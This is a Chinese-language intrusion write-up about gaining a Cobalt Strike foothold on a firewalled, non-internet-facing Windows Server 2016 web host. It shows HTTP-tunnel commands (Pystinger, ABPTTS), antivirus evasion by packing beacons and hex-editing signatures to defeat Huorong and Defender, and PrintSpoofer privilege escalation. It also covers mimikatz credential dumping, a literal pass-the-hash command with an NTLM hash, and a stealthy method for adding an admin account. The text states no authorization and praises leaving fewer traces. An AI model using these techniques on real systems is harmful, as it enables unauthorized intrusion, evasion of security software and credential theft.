内网渗透--突破安全策略上线CS
前言
本文为一篇利用非常规手段突破安全策略的内网渗透记录
环境简述&说明
出站规则：不允许非8080端口对外通讯。
手绘了一张拓扑图，将就着看一下。
为什么要上线cs
webshell权限太低，限制性大，需要上线cs提权，因为cs是采用反射dll来加载pe程序，从而在执行一些敏感操作的时候能起到一定的bypass作用，例如mimikatz抓密码等操作。
像转储LSA到本地然后再dumphash都是行不通的，因为webshell权限太低了，转储LSA至少得管理员权限。
而且目标网络环境较为苛刻，任何非http协议的通讯都会被防火墙拦截，无法正常建立一个具有交互功能的shell。
坑点一：利用Pystinger反向代理上线cs
在查阅相关资料后，发现网上大部分文章都通过Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs。
但是这里有个问题，公网cs服务器无法访问目标的web服务，只有同处于在一个内网的机器才能访问目标web服务，所以无法直接在服务器上搭建pystinger将目标机端口反向代理至公网cs监听端口上。
这里采用的解决方法是直接在本机上搭建一个cs服务，然后再进行pystinger反代操作。
- 本地起一个cs服务
- 常规配置reserver型监听器，监听端口
60020（上面图中6002少写了个0...） - proxy.aspx上传至目标服务器，访问：
4.stinger_server.exe 上传到目标服务器，执行命令：start D:\stinger_server.exe 0.0.0.0
5.跳板机本地执行命令：stinger_client -w http://10.1.1.1:8080/2.aspx-l 0.0.0.0 -p 4002
6.免杀处理一下resever_bind，上传至目标并执行不上线，执行一下tasklist发现shell.exe已经执行了，就是不上线，pystinger报错。
最后的结果是，报错，具体原因不知道，可能是目标web环境有问题，可能是reserver型shell通讯有问题。
遂Pystinger反代上线cs失败。
坑点二：正向代理+正向shell上线公网CS
既然反向代理行不通，那就用正向代理，然后采用正向shell来连接。
目标机器不出网，本机能出网，可通过本机当作跳板机将目标机器的正向shell带出来。
原理图：
常见的http隧道工具Neo-reGeorg、reGeorg（应该这两款用的比较多）能适用于大多数网络环境，但是在这里就是不行，会出现跳板机直接与cs服务器断开的情况，而cs的connect正向连接请求是由跳板机的beacon发出的，你只能将beacon代理进socks隧道才能使connect请求能连接正向shell的监听端口，但因为目标机不出网，在跳板机的beacon进入代理隧道之后是无法连接到处于公网的cs服务端的，所以只能是端口对端口映射，而不能用http协议搭建的socks隧道（我猜的）。
所以这里将使用ABPTTS进行http隧道搭建。
- ABPTTS优点
对抗特征检测十分优秀
创建的隧道十分稳定
1、 配置abptts：
python abpttsfactory.py -o server \\生成服务端脚本，初始化。
2、 上传server脚本到目标机器
坑点三：文件上传
这个地方冰蝎、大马都传文件传不上去，只能用哥斯拉的大文件上传把abptts.aspx传了上去（后面exe的上传也是用的哥斯拉的大文件上传功能）exe文件落地也是个坑，在正常环境中，我们可以用certutil、powershell等方法下载exe到目标上，但是这台机器他不出网，因为出站规则的原因，甚至都无法访问内网中其他机器的web服务器，最后用哥斯拉的大文件上传解决了这个问题。
上传完成之后的abptts.aspx地址：http://10.1.1.1:8080/abptts.aspx
访问一下abptts.aspx，页面回显一长串密文说明abptts客户端正常
3、 启动http隧道
Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111
这里的127.0.0.1:7777是本机端口，127.0.0.1:1111是目标机的端口
意思是将目标机的1111端口通过http隧道映射至本机的7777端口，你向本地的7777端口发送的请求都将转发至目标机的1111端口。
坑点四：正向Bind免杀
Cs的正向shell介绍（beacon tcp）
正向shell的作用原理是，bind在目标机器上开放一个监听端口，等待其他主机来访问这个监听端口，子Beacon从父Beacon接受请求，而不是直接与cs服务端通讯。
而反向shell则是，由目标发起请求访问cs服务端的监听端口
- 创建一个正向监听器：
- 生成正向载荷（在生成正向载荷的时候只能选择stageless Beacon ）：
为什么使用正向shell：
假若目标机器的出站规则十分严格且目标也不出网，反向shell在这种情况下则无法正常与cs服务端保持通讯。
假若采用正向shell的话，在无论他的入站规则多严格，他也不会去阻止本地端口之间的通讯，这样就能绕过严格的出入站规则策略。
- 通讯过程：
Cs服务端（公网）--> 跳板机（父baecon）--> 7777端口--> 目标8080端口（http隧道）--> 目标1111端口（子baecon）
- Bypass分析
在目标机的防火墙眼中是本地的8080端口与本地的1111端口通讯，而攻击机与目标的8080端口则是正常被允许的交互行为，从而bypass了出入站策略。
正向Bind免杀
上面有提到过目标上有火绒和WD两款杀毒，直接上传正向shell肯定是会被秒杀的，本地测试报毒。
Reserver_Bind免杀较为简单，直接生成shellcode，通过分离免杀等方法加载shellcode。
但是正向shell不能生成shellcode，它属于stageless型Beacon，而stageless型Beacon无法生成shellcode，所以无法通过常规的分离式免杀来绕过杀毒。
- 提一下
stager与stagerless的区别：
stager和stagerless型beacon - Stager型：只包含简单的加载逻辑部分，stager通过将c2的payload加载进内存从而实现pe加载，这种加载方式也就是反射型DLL加载。
- Stagerless型：stager+payload全写死在木马中，相比较于Stager型体积更大，特征码更明显。
由下图可以看到，在生成payload的时候没有正向bind监听器这个选项，只有Reserver监听器选项。
既然无法通过混淆加载器的方法来免杀，那就加强壳+定位特征码的方法来免杀。
国内大部分杀软估计都是基于模糊hash算法的特征码查杀，对代码层强混淆几乎就能绕过大部分杀毒，强壳（ASPack、upx、Safengine、VMPoject，实测Aspack、upx效果不是很好）。
主要用到的工具：VirTest5.0+Resource Hacker+SafengineShielden+upx - VirTest5.0：
自动化定位特征码，因为不会汇编，所以就直接用010Editor修改特征码的十六进制来破环特征码。
其他修改特征码的方法: 替换汇编函数、调换指令顺序、置零跳转。
注意：在修改完特征码之后，要测试exe还能不能正常运行。 - SafengineShielden
反LPK注入、反调试器附加、反内存转储选上，复杂度拉满，虚拟机检测不要打勾。
最后加一层upx壳(upx壳视情况而定，有时候加了upx壳反而会被杀)，Resource Hacker加入一个任意图标文件，成功过掉火绒。
目标机运行正向shell
上传正向bind，在冰蝎上执行 D:/beacon_se.exe，可以看到木马在目标机上开启了1111端口，我们通过http隧道去连接这个位于目标机1111端口上的正向bind。
本机（跳板）正向连接shell
本机（攻击者）上线cs作为跳板机，然后在本机shell中执行
connect 127.0.0.1 7777
成功正向上线 10.1.1.1，但是上线的shell权限极低，mimikatz无法运行，因为正向shell的原因，就算提权成功也无法直接反弹shell，而且因为目标系统是2016，插件中的常见提权脚本都会提权失败。
PrintSpoofer提权
上传PrintSpoofer.exe至目标主机。
执行如下命令，以system的权限运行我的正向shell，那么我将得到一个system权限的shell，而不是asp的低权限shell。
C:\Windows\Temp\PrintSpoofer -c D:/1111_se.exe
Netstat -ano确认一下有没有在本地开放一个1111端口。
正向shell正常运行，跳板机再次连接正向bind。
connect 127.0.0.1 7777
成功提权，渗透至此已基本结束战斗，得到一个system权限的正向shell，mimikatz抓密码，无明文，但能拿到hash。
绕过杀毒添加用户&&登录桌面
Net1改名添加用户，报错，必然是被火绒拦截了，上杀器直接驱动层干杀软。
本地实验能干掉，但是不知道为什么在目标上就实现不了。
换思路：火绒、360等国内杀毒拦截添加用户命令往往只针对net、net1这俩进程，并没有hook底层函数，所以我们只需要不去执行net、net1而去直接调用底层函数就能绕过杀毒的监控。
原理不去深度刨析了，网上有文章。
- Windows API 添加管理员用户
项目地址：https://github.com/newsoft/adduser
绕过杀毒添加上了一个用户，接下来就是常规操作，用打印机漏洞提权，利用sys权限切换到adminsitrator用户的桌面。 - hash传递攻击
再或者就是hash传递，直接上adminsitrator的桌面。sekurlsa::pth /user:Administrator /domain:用户名 /ntlm:194f34439dd27846db00c6723036da6b "/run:mstsc.exe /restrictedadmin"194f34439dd27846db00c6723036da6b
Hash传递的好处就是，动静更小，不需要新建用户，留下的痕迹更少，降低攻击者被发现的概率。
如下图：
跟上面操作一样，把对方的3389端口反向代理至本地，连接之。
最后附上登录的桌面的截图，登上来就是一个backstab的报错，这刚好就解释了之前在干火绒的时候，为什么没有kill成功（因为程序兼容性问题导致崩溃了）。
结尾
总结一下整个渗透过程中有趣的几个点，整个流程大概花了两天的时间，主要是有几个地方踩坑了。
- 第一点：写http隧道马的时候，用哥斯拉直接编辑新建一个隧道马，但是连接的时候报错，可能是哥斯拉出现了数据断流，导致写进去的文件缺东西了，后来直接把隧道马传上去就不报错了。
- 第二点：网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况，但是可能因为目标网络环境的不一样导致各种玄学报错，所以Pystinger的局限性还是很大的，而且Pystinger客户端还不免杀。
- 第三点：正向shell免杀，不多说的，cs的无阶段木马都是这样，无法通过混淆加载器的方法免杀。
- 第四点：正向shell的提权，cs插件提权只能反弹一个反射型的shell，无法反弹正向shell。
- 第五点：有趣的是，无阶段木马是能生成powershell脚本的，而powershell脚本是很好混淆免杀的，但是目标是server2016，默认开启AMSI，混淆免杀在它面前形同虚设。（要是目标是2012、2008系统就可以通过powershell正向bind上线）
